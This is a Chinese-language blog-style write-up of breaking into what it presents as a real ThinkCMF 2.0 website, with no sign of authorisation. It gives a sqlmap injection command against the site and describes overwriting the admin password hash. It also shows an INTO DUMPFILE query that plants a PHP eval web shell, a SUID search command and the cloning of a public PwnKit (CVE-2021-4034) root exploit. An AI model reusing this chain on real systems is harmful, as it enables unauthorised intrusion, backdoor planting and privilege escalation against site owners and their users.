mysql+thinkcmf getshell
前言
以前尝试过审计thinkcmf,但当时技术菜就只下载项目跑起来了,没有继续往下进行,现在遇到一个站也是thinkcmf 2.0的,很老的版本,刚好可以再次学习下。
注入
访问url,做了路由伪静态,在 https://www.xxx.cn/Index/mediacontent/id/1692.html
的最后html处存在注入,sqlmap用 *
来指定注入点,
1 | sqlmap -u "https://www.xxx.cn/Index/mediacontent/id/1692*" --random-agent --threads 10 --batch |
一把梭后发现是dba权限,然后找到了表名为cmf_user的表,里面有admin用户以及他的user_pass,是一串32位的hash,于是决定扫一扫网站目录找后台。
后台
替换hash
后台路径一扫就出来了,直接明了的admin路径,爆破了几个弱口令都没登上去,而且前面注入得到的user_pass用cmd5解不开,于是通过网上搜索发现这个hash的生成规则,里面的authcode就是在相对网站目录的 /data/conf/db.php
文件夹下。
1 | function cmf_password($pw, $authCode = '') |
于是决定自己生成一个来替换,替换后成功登了上去,果然还是替换大法好。
失败的上传
在后台到处翻了一遍,最后在编辑功能找到了上传点,但是限制了文件名后缀,没能绕过去,但是正常上传后给出了上传路径,既然如此,再去用sql的dumpfile试一试。
后来在自己搭建的相关php文件中看到,这里是用的白名单过滤。
中间还发现了个异常功能点,在普通用户登录的界面有获取验证码功能,但返回的数据是异常的,其中就包括了trace的php文件路径,从里面看到了db.php,用注入的 load_file()
功能读到了数据库账户,这样用sql的时候会方便些。
在网上看别人文章有设置上传文件后缀的功能,但是我没找到,于是去下了个2.1.0的版本(没找到2.0.0)本地搭建了下,发现后台确实没有这个功能。虽然没找到修改允许上传后缀功能,但是看了下相关文件,找到了配置数据库的文件,也就是刚刚报错找到的db.php文件。
数据库
dumpfile
用navicat成功连接数据库,尝试 load_file()
而且secure_file_priv属性是空字符,也就是所有路径可执行 dumpfile
操作。
1 | SELECT @@secure_file_priv; |
通过上面sql注入报错可以看到返回的绝对路径
然后尝试直接写入shell到网站根路径,但是失败了,应该是文件夹当前用户没有写权限,尝试了几个爆出来的路径都不可以,然后又试了下后台上传的路径,发现可以写入,getshell。
1 | select '<?php eval($_POST["xxx"]);' into dumpfile "/data/xxx/data/upload/2030401/xxx.php"; |
部分目录不可写的原因
连上后发现当前用户是daemon,而web目录大部分是root的755,所以不可写。
提权
接下来就要提权,用linux-exploit-suggester脚本跑可提权利用的漏洞,只有几个脏牛,试了没成功,然后尝试SUID提权。
SUID
首先寻找带 S
权限的命令可执行文件,
1 | find / -type f -perm -04000 -ls 2>/dev/null |
逛帖子的时候发现一个网站,这里记录下GTFOBins,列举了带SUID的命令。
在目标服务器发现里面有psexec,CVE-2021-4034,试了一下成功了。
1 | git clone https://github.com/berdav/CVE-2021-4034.git |